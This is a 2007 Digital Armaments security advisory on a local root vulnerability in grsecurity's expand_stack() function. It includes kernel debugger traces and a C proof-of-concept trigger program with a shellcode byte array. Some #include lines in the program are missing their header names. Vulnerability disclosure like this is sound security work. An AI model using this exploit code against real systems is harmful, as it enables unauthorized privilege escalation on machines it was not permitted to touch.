Digital Armaments advisory is 01.20.2007 http://www.digitalarmaments.com/2007200184936274.html I. Background grsecurity is an innovative approach to security utilizing a multi-layered detection, prevention, and containment model. It is licensed under the GPL. For further information or detail about the software you can refer to the vendor's homepage: http://www.grsecurity.net/ II. Problem Description A vulnerability exist in expand_stack() of grsecurity patch. This vulnerability allow local privilege escalation. III. Details The problem persist in the expand_stack() function: [0]kdb> b Stack traceback for pid 29939 0xce9f6560 29939 16112 1 0 R 0xce9f6730 *bugpax EBP EIP Function (args) 0xced1ed24 0xc0197e57 find_vma+0x27 (0xce5350e4, 0x5ffff000, 0xced1ed60, 0xce9f6560, 0x7b) 0xced1ed60 0xc01981aa expand_stack+0x13a (0xce9f6560, 0xcdcfc9c0, 0x0, 0xcffcfaa0, 0x0) 0xced1ee3c 0xc0157829 do_page_fault+0x2b9 (0xce5350e4, 0x0, 0x0, 0xce535110, 0xcdcfc6e8) 0xc014543b error_code+0x2b Interrupt registers: SS trap at 0xc0197e82 (find_vma+0x52) 0xc0197e82 find_vma+0x52: ret [0]kdb> SS trap at 0xc01981aa (expand_stack+0x13a) 0xc01981aa expand_stack+0x13a: test %eax,%eax [0]kdb> r eax = 0xcdcfc6e8 ebx = 0x00000000 ecx = 0xcdcfc6e8 edx = 0xcdcfc700 esi = 0xcdcfc9c0 edi = 0xcdcfc9c0 esp = 0xced1ed2c eip = 0xc01981aa ebp = 0xced1ed60 xss = 0x00000068 xcs = 0x00000060 eflags = 0x00000286 xds = 0x0000007b xes = 0x0000007b origeax = 0xffffffff ®s = 0xced1ecf8 [0]kdb> vm 0xcdcfc6e8 struct vm_area_struct at 0xcdcfc6e8 for 92 bytes vm_start = 0x5ffff000 vm_end = 0x60004000 vm_page_prot = 0x25 vm_flags: READ WRITE EXEC MAYREAD MAYWRITE MAYEXEC GROWSDOWN [0]kdb> The bug generate a crash here: Stack traceback for pid 31494 0xcea9d020 31494 4536 1 0 R 0xcea9d1f0 *bugpax EBP EIP Function (args) 0xc4d70de4 0xc019923f exit_mmap+0x17f (0xce50634c, 0xce50634c, 0xce506378) 0xc4d70df8 0xc0160144 mmput+0x34 (0xce50634c, 0x2b, 0xc4d70000, 0xcea9d020, 0xcea9d4d8) 0xc4d70e14 0xc01647f4 exit_mm+0xb4 (0xcea9d020, 0x7, 0x6, 0x0, 0x1) 0xc4d70e40 0xc0165238 do_exit+0xb8 (0xc4d70ec0, 0x7, 0xc4d70f60, 0xc4d70000) 0xc4d70e58 0xc016559c do_group_exit+0x3c (0x7, 0x7, 0xc4d70f60, 0xcf4d55a0, 0xc4d70000) 0xc4d70e84 0xc016efa6 get_signal_to_deliver+0x1f6 (0xc4d70ec0, 0xc4d70ea0, 0xc4d70f60, 0x0, 0x5fffffbc) 0xc4d70f4c 0xc0144124 do_signal+0x74 (0x278aaff4) 0xc4d70f58 0xc01441fd do_notify_resume+0x3d 0xc01443de work_notifysig+0x13 Use the following proof code to trigger the vulnerability: /* ** expand_stack() PaX local root vulnerability ** Vulnerability trigger. ** ** Copyright (C) 2007 ** Digital Armaments Inc. - www.digitalarmaments.com */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define KBASE 0xc0000000 #define SEGMEXEC_TASK_SIZE (KBASE / 2) #define LOSTPAGE_SIZE (PAGE_SIZE * 3) #define MAP1_BASE 0x00004000 #define MAP2_BASE MAP1_BASE - LOSTPAGE_SIZE #define PF_BASE MAP1_BASE + SEGMEXEC_TASK_SIZE - 0x4000 #define PAGE_GROW_NB 10 static char ucode [40] = "\xbe\x00\xF0\xFF\x5F\x83\x3e\x2a"; void mouarf (int signum) { char * str = (char *) (MAP1_BASE + 600); memset ((void *)(MAP1_BASE + 600), 0x90, 40); str [26] = 0xc3; /* ret */ return; } int main( void ) { int i = 1; void (* p)(); signal (SIGBUS, mouarf); if( mmap( (void *) MAP1_BASE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 ) { perror( "mmap map1 base\n" ); return( 1 ); } if( mmap( (void *) 0x0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 ) { perror( "mmap 0x0 failed\n" ); return( 1 ); } if( mprotect( (void *) MAP1_BASE, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC ) < 0 ) { perror( "mprotect map1 base" ); fprintf( stderr, "run chpax -m on this executable\n" ); return( 1 ); } * (int *) (ucode + 1) = (SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i)); memcpy ((void *)(MAP1_BASE + 600), ucode, 20); p = (void *) MAP1_BASE + 600; printf ("--> about to fault on %X\n", SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i)); p (); printf ("Overlaping the kernel by %d pages\n", i); fflush( stdout ); printf ("Calling munmap ... %X, %x\n", 0x2000, 0x1000); if (munmap (0x2000, 0x1000) < 0 ) perror ("munmap"); // printf ("Calling mremap ... \n"); // if (mremap (0x2000, 0x1000, 0x10000, MREMAP_MAYMOVE) < 0 ) // perror ("mremap"); printf ("PID:%d, sleeping\n", getpid ()); sleep (2000); return( 0 ); } IV. Impact analysis Successful exploitation allow an attacker to obtain local root privileges. The impact is high, due to grsecurity should prevent any form of code execution and privilege escalation. V. Legal Notices Copyright © 2007 Digital Armaments Inc. Redistribution of this alert electronically is allowed. It should not be edited in any way. Reprint the whole is allowed, partial reprint is not permitted. For any other request please email customerservice@digitalarmaments.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.